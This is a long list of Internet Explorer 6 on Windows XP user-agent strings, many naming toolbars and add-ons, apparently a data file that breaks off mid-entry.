Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Avant Browser; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; GTB5; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3. Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; HbTools 4.7.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; HbTools 4.7.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; HbTools 4.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Hotbar 4.5.1.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Hotbar 4.5.1.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; InfoPath.1; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Media Center PC 3.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; SpamBlockerUtility 4.7.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Wanadoo 6.7; .NET CLR 1.1.4322; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; Wanadoo 7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; YPC 3.2.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; YPC 3.2.0; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; YPC 3.2.0; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; ezPeer+ v1.0 Beta (0.4.1.98); ezPeer+ v1.0 (0.5.0.00); .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB0.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB0.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.75.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProductsn) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Zango 10.0.370.0; Seekmo 10.0.370.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; InfoPath.1; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.4; TheWorld) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; AskTB5.6; TheWorld) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) chromeframe/6.0.472.33 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 2.0.50727; InfoPath.2; AskTB5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 1.1.4322; InfoPath.2; TheWorld) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Lunascape 5.0.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Sleipnir/2.46 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; msn Optimized IE build03;JP) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; InfoPath.2; Dealio Toolbar 3.1.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; InfoPath.2; GreenBrowser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; chromeframe) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GreenBrowser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.6.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.5; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.8.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.4.1.1381) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.4.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.4.2.0; FunWebProducts; .NET CLR 1.0.3705; PeoplePal 3.0; .NET CLR 1.1.4322; PeoplePal 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.5.1.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.5.1.0; FunWebProducts; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.6.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; IBP; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; IPOffice; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1) Sleipnir/2.21 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Windows-Media-Player/10.00.00.3990; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50215; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; Seekmo 10.0.424.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; GreenBrowser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; AskTbPTV/5.12.2.16749) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; 